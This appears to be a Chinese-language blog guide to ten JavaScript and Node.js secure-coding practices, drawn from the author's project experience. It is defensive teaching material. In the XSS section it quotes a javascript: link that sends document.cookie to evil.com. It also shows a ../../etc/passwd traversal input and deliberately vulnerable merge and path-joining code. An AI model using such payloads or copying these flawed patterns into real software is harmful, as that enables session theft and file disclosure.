写这篇东西之前,先讲个真实经历。去年年中我接了一个外包来的后台管理系统,技术栈就是 React + Node.js,前端代码写得挺规整,组件拆分干净,接口封装统一,TypeScript 严格模式也开着。我当时心想这项目底子不错,结果做安全审计的时候,几分钟之内就挖出了四个高危问题:登录接口没有限流、两个接口直接拼接参数查数据库、前端把用户手机号明文存在 localStorage、node_modules 里躺着一个已知漏洞的旧版本打包工具。最离谱的是,修复其中一个 SQL 注入点的时候,我发现那个坑是在代码刚起步的阶段就埋下的,写了三年多一直没人注意。
这就是我写这篇文章的初衷。JavaScript 安全编码很多时候不是"会不会写"的问题,而是"有没有意识"的问题。很多团队开发时专注于功能实现、性能优化,安全相关的细节往往被推迟到"上线前再说",结果一测就是一堆坑。这篇文章我会结合自己实际踩过的坑和处理过的项目,把 JavaScript 开发中十个最值得关注的安全编码实践捋一遍。每一条我都会说清楚三个东西:为什么需要这样做、具体怎么做、不小心踩进去之后怎么排查。内容覆盖前端浏览器环境和后端 Node.js 环境,适合正在做 Web 应用、接口服务、后台管理系统的开发者参考,也适合团队做代码 review 时当作 checklist 用。
1. 输入校验不是"过滤"而是"约束"
很多开发者一听到输入校验,第一反应就是写一个 escape 函数,把所有特殊字符替换掉。我见过不少项目自己写了类似replace(/</g, "<")这种东西,然后理直气壮地说"我做了 XSS 防护"。这种思路从根本上就是错的。
1.1 校验的本质是"这个输入应该长什么样",而不是"这个输入里有什么不能用"
举个典型的例子,用户注册时填写手机号。安全的做法是校验它是否匹配电话号码的格式规则,而不是把里面的<、>、单引号全都替换掉。你想想,一个电话号码里根本不应该出现尖括号,与其费劲去转义,不如直接拒绝任何不含法的输入。这就是我强调的"约束"思维:明确"允许什么",不符合规则的直接打回,而不是把"不允许出现的东西"一个个找出来消灭。
我自己在代码 review 里最常看到的错误是这样的:
// 错误示范:只过滤了部分特殊字符 function sanitizeInput(input) { return input.replace(/<script>/gi, "").replace(/onerror=/gi, ""); }这种黑名单思路有天然缺陷:攻击者用大小写混写、加空格、用 HTML 实体编码、用 base64 编码等方式就能轻松绕过。比如%3Cscript%3E经过 URL 解码之后照样能变成标签,你的过滤函数根本没处理 URL 编码的情况。即便你补上解码逻辑,还有更多 Unicode 变体、嵌套编码等着你。黑名单是在跟全世界的攻击者玩猫捉老鼠,永远慢半拍。
1.2 前后端双重校验,但前端校验不是安全手段
前端校验的意义是提升用户体验——用户填错了立刻提示,不用等请求发出去再被后端打回来。但前端校验绝对不能被当成安全边界,因为任何前端代码都暴露在用户面前,完全可以被绕过。真正做安全决策的地方必须在后端。
我手上的一个商城项目就出过这类问题。前端的价格校验只检查了"输入是否为数字",没限制最大长度。后端虽然也做了校验,但由于校验函数用了parseFloat,出现了精度溢出的情况,结果被人构造出一个超长数字,用整数溢出绕过了优惠金额的上限,最后硬是给订单叠加了一个异常折扣。那笔钱虽然不多,但排查和退款流程把整个团队折腾了整整两天。
修复之后我们定了一个规范,现在是我做任何接口设计都必须遵守的:
- 校验输入的数据类型、长度、格式、取值范围
- 所有校验在后端强制执行,前端校验只能视为体验优化
- 校验函数只认"白名单规则",不做"黑名单替换"
- 对 JSON、XML 等结构化数据要校验其结构与嵌套深度,不能只看表层字段
结合现在的趋势,我在新项目里更推荐用专门的校验库,而不是手写正则到处散落。比如 Zod 或 Yup 这类 schema 校验工具,可以在一处定义好数据结构规则,前端表单和后端接口共用同一套描述。这样做的好处不仅仅是减少重复代码,更在于规则一致——你不用担心前端用的校验规则比后端更严格,导致用户在前端过不了关但直接调接口却能过。这属于典型的规则不一致漏洞。
2. 输出编码要跟着"场景"走
上面那条讲的是输入。这一条讲输出。很多人不知道,XSS 的触发位置决定了你该用哪种编码方式,用错了等于没防。
2.1 HTML 上下文、属性上下文、JavaScript 上下文,编码规则各不相同
把用户输入渲染到页面上,有几种完全不同的场景:插入到 HTML 标签内容里、插入到 HTML 标签的属性里、插入到<script>标签的字符串里、插入到 CSS 的 URL 里、插入到事件处理函数里。每一种场景都需要不同的编码策略。
比如在 HTML 标签内容里,需要转义的是<、>、&、"、'。但在 JavaScript 字符串里,需要转义的却是\、'、"、换行符和 Unicode 分隔符。如果你把一个用户输入直接塞进onclick="handler('xxx')"这种属性里,即便做了 HTML 转义,单引号可能还是闭合了被转义后的字符串,最终攻击代码照样执行。这类坑我见过不止一次。
2.2 React/Vue 对这些做了什么,又没做什么
React 和 Vue 在默认情况下会对绑定的文本内容做转义处理,所以直接使用{userInput}或{{ userInput }}渲染文本是相对安全的。但有几个地方是框架"管不到"的,需要你特别注意:
dangerouslySetInnerHTML和v-html:这是最直白的漏洞来源。一旦使用,框架的自动转义就完全失效,你必须自己保证传入的 HTML 是可信的或者已经过严格的白名单清洗。href属性:用户输入javascript:alert(1)这类伪协议的时候,框架不会自动帮你拦截。需要在绑定 URL 之前做协议白名单检查。style属性:某些浏览器支持在 CSS 里执行表达式或者加载外部资源,绑定前同样要检查。
我碰到过的最隐蔽的 XSS 案例是通过 URL 参数把内容带进href的。攻击者构造了一个链接:
<a href="javascript:fetch('https://evil.com/steal?cookie='+document.cookie)">点击领奖</a>如果代码里直接把这个 URL 塞进href,用户一点就中招。修复方案其实很简单:写一个sanitizeUrl函数,只允许http:、https:、mailto:、tel:这几个协议开头,其他全部返回#或者空字符串。我建议在项目里封装这样一个工具函数,并且在 lint 规则里强制要求所有href绑定都经过它。
2.3 用现成的消毒库而不是自己造轮子
如果你确实需要向用户展示富文本(比如评论区的图文内容、富文本编辑器输出的内容),永远不要自己写 HTML 清洗逻辑。这个领域太容易出错了。我试过自己维护一套标签白名单和属性白名单,半年之后就在一次改版中漏掉了svg标签的嵌套情况,导致一个存储型 XSS 漏过。
现在我用的是 DOMPurify,它处理了大量浏览器差异和各种绕过尝试,而且支持配置允许的标签、属性、协议,配置起来也很简单:
import DOMPurify from "dompurify"; const cleanHTML = DOMPurify.sanitize(dirtyHTML, { ALLOWED_TAGS: ["p", "br", "strong", "em", "ul", "ol", "li", "a"], ALLOWED_ATTR: ["href", "title", "target"], ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto|tel):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i });注意ALLOWED_ATTR里不要随意放style,因为 CSS 同样能被利用来做数据窃取(比如通过背景图片加载外部地址,把页面内容带出)。对于href还要设置协议白名单。这套配置看起来简单,但绝大多数生产环境的富文本需求用这一层就够用了。
3. 前端代码里不能有秘密
我经常在 GitHub 上看到有人把 API Key、数据库连接串、加密密钥直接写在前端代码里,然后上传到仓库。最夸张的一次是一个开发者把云服务商的密钥写在了前端配置里,密钥是一对 AccessKey 和 SecretKey,权限是"读写所有对象存储"。我用工具扫到之后提醒他,他还反问了一句"这不是要写在代码里才能调用吗,不然用户怎么访问?"。这个误解相当普遍,必须纠正。
3.1 密钥到底应该放在哪
任何运行在浏览器里的代码,对用户来说都是完全透明的。用户按 F12 打开开发者工具,就能看到页面的全部 JavaScript 代码、网络请求的内容、localStorage 里的数据。你在前端代码里放的任何密钥都不算秘密,只能算"公开数据"。
那么浏览器端需要调用一些需要鉴权的服务,该怎么办?正确做法是建立一个中转层(通常就是你的后端服务),让浏览器把请求发给后端,后端加上密钥后再请求第三方服务,最后把结果返回给前端。这样密钥只存在于后端环境变量或密钥管理服务中。
// 错误示范:前端直接读取敏感配置 const apiKey = "sk-xxxxxxxxxxxxxxxxxxxx"; fetch("https://api.example.com/data", { headers: { Authorization: `Bearer ${apiKey}` } }); // 正确示范:前端调用自己的后端接口,由后端保管密钥 fetch("/api/proxy?target=example");这条规则同样适用于 WebSocket 鉴权、推送服务的标识、地图服务的 Key 等场景。不是说这些 Key 一定不能在前端出现,而是你要评估泄露的后果。如果 Key 泄露后最多只能调用一些免费额度,风险可控,那放前端也无妨;但如果这个 Key 能访问到用户数据、能扣费、能写数据,就必须藏到后端。
3.2 环境变量也会翻车
前端项目里常有用.env文件管理环境变量的习惯。要注意,VITE_前缀(Vite)或者REACT_APP_前缀(Create React App)的变量会被打包进前端产物,这意味着你在构建机上配置的这些变量最终会出现在浏览器的 JS 文件里。很多人误以为"变量在 .env 里所以安全",实际上这些带前缀的变量只是让你在代码里读取方便,并不是真正的保密手段。
真正的秘密应该放在后端的环境变量里,并且要用密钥管理服务做访问控制和自动轮转。我见过一个项目把数据库密码放在前端.env里,因为在某个版本中后端服务与前端的构建使用了同一个环境变量文件。这个操作等于把数据库密码打印在每一台访问页面的用户的浏览器缓存里——只要下载这个 JS 文件,正则匹配一下就能找到密码明文。
3.3 对仓库做一次密钥扫描
就算你再小心,偶尔也会有"一时顺手"把密钥提交进仓库的情况。这里推荐在 CI 流程里加一个密钥扫描步骤,用现成的工具(比如 gitleaks 或 trufflehog)扫描提交内容。上次我们就是在团队的 CI 里加了扫描,才在一段测试代码合并进主分支之前拦下来一个写死的云数据库口令。
如果你发现密钥已经泄露到了公开仓库,正确的处理顺序是:立刻在服务端撤销该密钥并生成新的,然后排查这个时间段内的访问日志,确认是否有异常调用,最后再决定要不要处理仓库历史记录。先把密钥作废再清理提交记录,这个顺序千万别搞反。我在一个开源项目上就见过有人只删了提交记录里的密钥、没在服务端作废,结果攻击者早就从 clone 下来的分支里提取到了完整密钥,删仓库记录只是自欺欺人。
4. 依赖管理不更新,等于把后门请进门
JavaScript 生态最大的特色就是依赖太多了。一个简单的 React 项目,node_modules里动辄几万个文件。这带来一个严峻的问题:你的应用安全性不只取决于你自己写的代码,还取决于所有依赖的安全性。任何一个依赖出了问题,你的应用就跟着被拖下水。
4.1 供应链攻击的常见套路
供应链攻击大致有三种套路:一是直接接管一个流行的开源包,往里面注入恶意代码;二是通过"钓鱼"手段让开发者安装一个看起来很像正规包的名字(比如lodahs冒充lodash);三是利用某些包的维护者疏忽,在发布的新版本里藏一段恶意代码。这三种方式都真实发生过,而且对行业影响不小。
2018 年左右的事可能还有人记得,一个 npm 包因为被黑客入侵账户,在发布的新版本里加入了一段窃密代码,会读取开发者的环境变量并发送到远程服务器。当时不少知名项目都受到影响。后来 npm 增加了包发布者的双因素认证要求,类似的攻击变少了,但并没有消失。2022 年到 2024 年之间,仍然有大量被发现的恶意 npm 包的事件,有的专门偷取加密货币钱包的助记词,有的专门扫描开发者电脑上的环境变量文件。
4.2 你需要一套依赖安全管理流程
这里我给出一套比较完整的做法,团队可以直接照搬:
- 使用锁文件(package-lock.json 或 yarn.lock),并把它提交到仓库里。锁文件能确保团队每个人安装到的依赖版本是一致的,避免"在我机器上是好的"。
- 把 npm 源切换成官方源或私有镜像源,并且设置严格的来源校验。
- 在 CI 里跑
npm audit,高危和危急漏洞按阻断处理,不允许合并代码。 - 制定依赖更新节奏。我的建议是每个月抽半天时间专门做依赖升级,优先更新修复安全漏洞的补丁版本,避免大版本跳跃。
- 使用工具监控依赖变更。比如
lockfile的 diff 中如果出现某个热门包的下载地址突然变了,就要特别警惕。
4.3 一个真实的依赖漏洞排查过程
这里分享一次完整排查依赖漏洞的经历。有个内部系统上线后,安全扫描报告提示某个版本的前端构建工具存在一个高风险的正则表达式拒绝服务漏洞,攻击者可以发送特定字符串让构建或解析过程卡死。我们需要确认两件事:一是这个工具是否用在了面向用户的输入处理链路上,二是漏洞是否真实可利用。
首先我检查了npm ls输出,确认这个工具是通过另一个打包工具间接引入的,这里就能看到依赖链的具体情况:
npm ls webpack输出显示它是一个传递依赖,也就是说我们并没有直接使用它,但打包过程会加载它。接着我用npm audit查看具体漏洞信息,报告中给出了受影响版本范围和修复版本。团队评估了一下,直接升级主打包工具的大版本风险比较大,会牵扯到一堆插件兼容性;于是我们把 npm 的overrides功能用上,强制指定这个传递依赖为修复后的版本:
{ "overrides": { "webpack": "^5.94.0" } }改完跑了一遍构建、测试和冒烟测试,确认业务功能没有异常,这个漏洞就算堵上了。整个过程不到半天,但我见过不少团队遇到这种问题就直接忽略,说"反正没人能利用"。实际上这种正则拒绝服务漏洞在解析不可信输入时极易被触发,而且触发后服务直接不可用,严重程度非常高。
5. 身份认证与授权:不能只会"登录"
身份认证和授权是整个 Web 应用安全里最容易被做错的部分。很多小团队做了登录功能就算完事,没有认真设计 token 的存储方式、过期机制、权限校验逻辑,最后被攻击者利用各种漏洞拿到别人的身份。
5.1 会话令牌存哪最合适
前端常见的 token 存储方案有三种:localStorage、sessionStorage、httpOnly Cookie。各自的取舍差异非常大。
- localStorage:简单,用起来顺手,但任何在页面里执行的 JavaScript 都能读取它。一旦发生 XSS,token 就会被直接拿走。
- sessionStorage:比 localStorage 稍微好一点,至少关闭标签页就没了,但同样可以被 JavaScript 读取,XSS 仍能盗走。
- httpOnly Cookie:浏览器不允许 JavaScript 读取它,因此 XSS 拿不到。这是安全性上最稳妥的方案,但需要考虑 CSRF 防护。
就我的项目经验而言,有用户系统的新项目我全都采用 httpOnly Cookie 方案,然后配合 CSRF Token 或 SameSite 属性来做防护。SameSite=Lax现在已经是主流浏览器的默认行为,对绝大多数应用来说足够用。
// 后端设置会话 Cookie 的推荐参数 res.cookie("session_id", sessionId, { httpOnly: true, // 禁止 JavaScript 读取 secure: true, // 仅通过 HTTPS 传输 sameSite: "lax", // 基本防 CSRF maxAge: 7 * 24 * 60 * 60 * 1000 });有些人觉得 httpOnly Cookie 处理跨域请求比较麻烦,会"图省事"改成 localStorage 存 token。我理解这个痛点,但一旦出了 XSS,localStorage 里的 token 就是攻击者随手可得的战利品。两条路你必须选一条:要么承担 XSS 带来的 token 泄露风险,要么多写一点跨域配置解决 Cookie 的 CORS 问题。我宁愿多花那个时间,也不会拿用户身份冒这个险。
5.2 授权检查:要在后端做,不能只靠前端隐藏按钮
权限控制同样是个高频翻车点。很多前端项目里,管理员和普通用户看到的东西不一样,于是有人就在前端做了"角色判断,隐藏某些按钮和页面"。这给你一种"权限控制了"的错觉,但攻击者根本不需要点击那些按钮。他只要直接查看前端代码、找到管理接口的 URL,然后用普通用户的 token 直接调用管理接口,就能拿到不该有的数据。
真正的授权必须在后端:每一个接口在处理请求之前,都根据当前登录用户的角色和资源归属做校验,校验不通过就返回 403。前端隐藏内容只是体验优化,不是安全措施。
我在开发一个文件管理模块时就遇到过这个问题。前端只隐藏了"删除文件"按钮,后端接口并没有判断文件是否属于当前用户。结果一个普通用户只要用浏览器的开发者工具修改请求里的文件 ID,就能删除别人的文件。那次之后,我为每一个涉及资源操作的接口都加了归属校验中间件:
function canAccessFile(req, res, next) { const file = getFileById(req.params.id); if (!file) return res.status(404).json({ error: "not found" }); if (file.ownerId !== req.user.id && req.user.role !== "admin") { return res.status(403).json({ error: "forbidden" }); } req.file = file; next(); }这里还有个细节值得单独说:如果用户请求一个不存在的资源,我建议统一返回 404 而不是 403。因为 403 会告诉攻击者"这个资源存在,但你无权访问",这等于帮他做资源发现。统一返回 404 则不会泄露资源是否存在的信息。I've seen automated scanning bots use this very distinction to enumerate valid file IDs and user IDs.
5.3 密码存储与登录限流
在新项目中我不建议大家自己写密码哈希的底层逻辑,直接用成熟方案。比如 Node.js 环境里用 argon2 或者 bcrypt,并且要确保盐值是自动生成的、成本参数合理。前端传密码到后端时必须强制 HTTPS,最好在浏览器端做一层简单混淆(不是加密,是为了避免明文密码出现在网络日志里),但这层不是安全机制,真正的保护还是靠 HTTPS。
登录接口的限流很多人不做,或者只做了个简单的次数计数。我做过一次失败的限流:把计数器存在内存里,结果应用一旦重启计数就清零,攻击者通过不断重启刺激(利用负载均衡轮询)也能绕过。后来我把限流逻辑放到了 Redis 里,基于 IP、账号名、设备指纹多维组合来做。例如同一个账号在 10 分钟内错误超过 5 次就锁定 15 分钟,同时对同一 IP 的登录请求做频率控制。这套方案上线后,撞库攻击的比例立刻下降了九成以上。
6. 安全响应头配置:十分钟搞定,效果立竿见影
如果说前面几条都需要改动业务逻辑,这一条属于性价比最高的安全投资:给后端响应配置安全响应头,前端甚至可以不做任何改动。我每次接手新项目,第一件事就是检查响应头,通常这一步就能发现不少问题。
6.1 CSP(内容安全策略)是 XSS 的第二道防线
内容安全策略(CSP)是浏览器提供的一种机制,用于控制页面可以加载哪些资源、执行哪些脚本。即使攻击者注入了一段脚本,只要 CSP 不允许执行内联脚本,浏览器也会直接拒绝运行。
一个基础但有效的 CSP 配置长这样:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; base-uri 'self'; frame-ancestors 'self'这段配置的含义是:脚本只能从本站加载,不允许内联脚本;样式允许本站和内联样式;图片允许本站和 data 协议;不允许加载任何插件(object/embed);页面只能被本站以 iframe 形式嵌入,防止点击劫持。
很多团队看到这里会迟疑:"我们用了很多内联脚本,不用内联脚本做不了开发。"这个说法有一定道理,React 和 Vue 的构建工具默认会生成内联脚本或动态执行代码,直接上严格 CSP 确实会出问题。这时候就需要做 CSP 部署的分步走:先通过Content-Security-Policy-Report-Only模式观察哪些资源被拦截了,把违规报告收集起来,逐步调整到正常业务不影响,再切换到强制模式。
我在一个老项目上就走过这条路。第一步先用 Report-Only 模式跑一周,收集所有被拦截的资源记录;第二步根据报告排查哪些内联脚本是真正必要的,把可以去掉的去掉,不能去掉的就用 nonce 机制(每次请求给合法脚本生成一个随机 nonce,CSP 允许带正确 nonce 的脚本执行)白名单化;第三步切换强制模式。整个过程大概花了两周,但之后 XSS 面明显缩窄了很多。
6.2 其他几个值得配置的响应头
除了 CSP,下面这几个响应头也强烈建议加上:
X-Content-Type-Options: nosniff:告诉浏览器不要嗅探响应内容的类型,防止把 HTML 或脚本错误地当成图片或样式解析。X-Frame-Options: DENY或SAMEORIGIN:防止页面被套在恶意站点的 iframe 里做点击劫持。CSP 里的frame-ancestors是更现代的替代方案,两者可以同时设置。Referrer-Policy: no-referrer或strict-origin-when-cross-origin:控制页面跳转时携带的 Referrer 信息,避免把当前页面的 URL 参数泄露给第三方。Permissions-Policy:限制浏览器功能,比如禁掉摄像头、麦克风、地理位置等。
这些响应头在 Express 里可以手动写中间件,也可以直接用现成的 helmet 库。我个人的习惯是先用 helmet 拿到默认配置,再根据实际业务调整 CSP 和 Permissions-Policy。helmet 的默认配置相当合理,本身就帮你挡掉了一批常见攻击。
7. Node.js 后端最容易忽略的几个安全细节
这一节专门讲 Node.js 后端环境。前后端同构的项目越来越多,很多前端开发者顺手就能写 Node 服务,但后端与浏览器环境的安全模型完全不同,几个常见漏洞比较隐蔽。
7.1 原型污染
JavaScript 的原型链机制在攻击者手里可以变成一个非常危险的漏洞。"原型污染"的意思是攻击者通过构造特殊的对象,往Object.prototype上添加或修改属性,从而影响应用中所有对象的默认行为。
最常见的触发点就是递归合并用户输入的 JSON 对象。比如像下面这样的代码:
function merge(target, source) { for (const key in source) { if (typeof source[key] === "object" && source[key] !== null) { if (!target[key]) Object.assign(target, { [key]: {} }); merge(target[key], source[key]); } else { target[key] = source[key]; } } return target; }如果用户提交的 JSON 里有"__proto__"这个 key,这段递归合并就可能修改Object.prototype。之后所有对象都会继承一个被污染的属性,轻则逻辑被扰乱,重则导致认证绕过或者任意代码执行。我印象里不少知名 JavaScript 库都出过原型污染相关的 CVE,原因基本都是这类不安全的深拷贝/合并。
修复方法说起来也简单:使用Object.create(null)创建无原型的对象,或者在合并时跳过__proto__、constructor、prototype这几个 key。更稳妥的方式是使用 JSON Schema 校验输入结构,确保用户不能传入意料之外的字段。我现在写接口时对请求体的 schema 校验特别严格,additionalProperties: false必须开,从根上杜绝这类问题。
7.2 路径穿越
提供文件下载或上传功能时,路径穿越是另一个高频漏洞。攻击者通过构造../../之类的路径段,让自己访问到本不该访问的文件。我在测试一个文件预览功能时,就成功地通过把文件名参数改成../../etc/passwd的方式把服务器上的系统文件读了出来(测试环境,用的无害文件),原因就是后端直接拼接了路径:
// 错误示范:直接拼接用户输入 const filePath = path.join("/var/data/uploads", req.params.filename); res.sendFile(filePath);正确做法是先解析出规范化后的绝对路径,再检查它是否位于允许访问的目录之内:
const path = require("path"); const fs = require("fs"); const uploadRoot = path.resolve("/var/data/uploads"); const requestedPath = path.resolve(uploadRoot, req.params.filename); if (!requestedPath.startsWith(uploadRoot + path.sep)) { return res.status(403).json({ error: "forbidden" }); }注意这里startsWith(uploadRoot)还不够严谨,因为像/var/data/uploads_evil这种路径也会通过startsWith检查,所以必须加上路径分隔符。这个细节很细,但出问题往往就出在这些细节上。
7.3 请求体大小与超时限制
不限制请求体大小会让接口暴露在资源耗尽攻击之下。攻击者持续向接口发送超大请求体,服务器的内存或磁盘很快被耗尽。我在 Express 里通常会这样设置:
app.use(express.json({ limit: "100kb" })); app.use(express.urlencoded({ extended: true, limit: "100kb" }));对于文件上传接口,还需要在业务层面设置文件大小上限与文件类型白名单。单纯靠content-type判断文件类型很容易被绕过,更稳的做法是检查文件内容的 magic number。我在图片上传接口里就用file-type这类库校验真实文件类型,而不是信任用户声明。
8. 日志与错误信息:别帮攻击者做情报收集
安全领域有个说法:"信息泄露"本身就是一个漏洞。你的应用返回给用户的错误信息、日志中记录的堆栈,都在无意之间透露了内部实现细节,攻击者可以据此调整攻击策略。
8.1 生产环境的错误信息要"模糊"
开发时为了方便排查,后端返回的报错通常会包含堆栈信息、数据库错误详情、内部文件路径等。这些信息绝不能原样暴露给浏览器。生产环境应该返回统一的、不包含内部细节的错误信息:
app.use((err, req, res, next) => { console.error(err); // 完整错误写到服务端日志 res.status(500).json({ error: "Internal Server Error" }); // 客户端只拿到模糊信息 });这里有个判断标准:返回给客户端的信息,必须是对排查用户问题有帮助但不涉及系统内部结构的。像"用户名已存在""验证码错误"这类业务信息可以返回,但"SQL 约束冲突 at /var/lib/pg/..."这种绝不能返回。
8.2 日志里别记敏感字段
日志同样要注意。很多团队记录请求日志的时候会把整个 body 打出来,结果用户密码、token、身份证号、信用卡号全都进了日志文件。这些日志如果被别人拿到,就是一个大规模数据泄露。我在公司就处理过一次日志泄露事故:某系统的访问日志定期上传到集中日志平台,平台权限设置不当,导致大量用户的手机号和账号信息被无关部门看到。
现在的做法是给日志打点做脱敏。记录 HTTP 请求时只记录必要的信息,比如请求路径(不包含 query string 中的敏感参数)、状态码、耗时;body 一律不记或者只记录字段名不记录值。对于必须要记录的错误信息,提前对常见敏感字段做掩码处理。如果你用 Node.js 的日志库,可以把整个 request body 的打印关掉,只保留自定义的埋点字段。
8.3 唯一标识追踪便于排查
不记敏感信息不代表不能排查。我习惯在每一次请求进来时生成一个requestId,放在响应头和日志里,这样出现问题时可以通过requestId把一次请求涉及的多个日志关联起来。这个requestId不包含用户身份信息,设计上没有泄露风险。
app.use((req, res, next) => { req.id = crypto.randomUUID(); res.setHeader("X-Request-Id", req.id); next(); });9. 前端安全测试不完全指南
安全编码不能靠"写完就完事",还需要一套验证手段。我发现很多团队的安全测试意识停留在"上线前喊一句大家注意安全",没有具体的操作流程。这里分享一下我常用的几种验证方式。
9.1 用浏览器开发者工具做手动验证
很多 XSS 和越权问题根本不需要复杂工具,打开浏览器控制台就能测出来。我在做接口测试时,习惯直接改请求参数、cookie、请求头来模拟各种攻击向量。最常见的是把表单里的 id 改成其他用户的 id、把价格改成负数、把数量改成超长数字、给接口加一个不存在的字段看后端反应。
还有一种方式就是直接在前端控制台修改 localStorage 或 Cookie 的某个用户角色字段,然后刷新页面看后端是否信任这个修改。如果一个系统把角色信息存在前端还能生效,那这个系统基本等于没设权限。
9.2 用自动化扫描工具辅助
光靠人工不够,需要自动化工具配合。比较常用的有:
- OWASP ZAP:免费开源的 Web 应用安全扫描器,可以自动爬取页面、检测常见漏洞,支持 API 扫描,适合接入 CI。
- 许多团队也用专业扫描平台,能直接输出报告和修复建议。
- 针对依赖漏洞,使用 npm audit 或 GitHub Dependabot。
- 针对密钥泄露,使用 gitleaks 做 git 历史扫描。
工具能发现的问题模式有限,主要是注入类、配置类、信息泄露类;业务逻辑漏洞(比如越权、优惠券重复使用、竞态条件)靠工具很难测出来,必须结合人工测试和代码审查。
9.3 代码审查中的安全 Checklist
我做过多次安全专项代码审查,总结了一套 checklist,简单列几个常用的条目,团队 review 时可以对照:
- 所有用户输入(query、body、header、文件)都经过白名单校验了吗?
- 输出到 HTML、URL、JavaScript、CSS 的每一处都做了正确的编码吗?
- 敏感操作(修改、删除、导出)有没有后端权限校验?
- Token 和会话的过期、刷新、注销逻辑完备吗?
- 前端代码里有没有明文密钥?
- 依赖中有没有已知漏洞?
- 错误信息会不会泄露内部细节?
- 日志里有没有敏感字段?
- 请求体大小、上传文件大小、并发请求量有限制吗?
- 所有外部请求的 URL 都做了协议白名单吗?
10. 安全编码是护城河,不是合规任务
这篇文章从输入校验讲到了依赖管理、从身份认证讲到了日志脱敏,每一条背后都是真实项目中踩过的坑。我特别想说的一点是:安全编码不是"高深的技术",它更像是一种习惯。你不需要理解复杂的密码学原理,也不需要掌握一堆攻击技巧,大多数时候只要做到"不要信任任何用户输入、不要在前端暴露秘密、不要跳过校验、不要把内部细节泄露出去"这几条基本准则,就已经能挡住绝大多数攻击了。
我在实际开发中的体会有两点。一是安全要提前设计,不要等项目上线前再做安全审计。提前设计的意思是,在数据库层面就考虑字段校验、在接口设计时就考虑权限模型、在搭建日志时就做好脱敏,这些事情后期补做不仅麻烦,而且容易遗漏。二是安全是团队的事情,不是某一个人加了几天班就能补完的。把这个安全 checklist 写进项目的 CONTRIBUTING 文档,让每次代码审查都对照一遍,效果远好于一年做一次安全"运动"。
如果你现在正在维护一个 JavaScript 项目,我建议你先把本文第 6 条响应头配置和第 4 条依赖扫描落地,这两项改动最小、见效最快。再逐步推进输入校验和身份认证的加固。安全这件事,做得早比做得完美重要得多。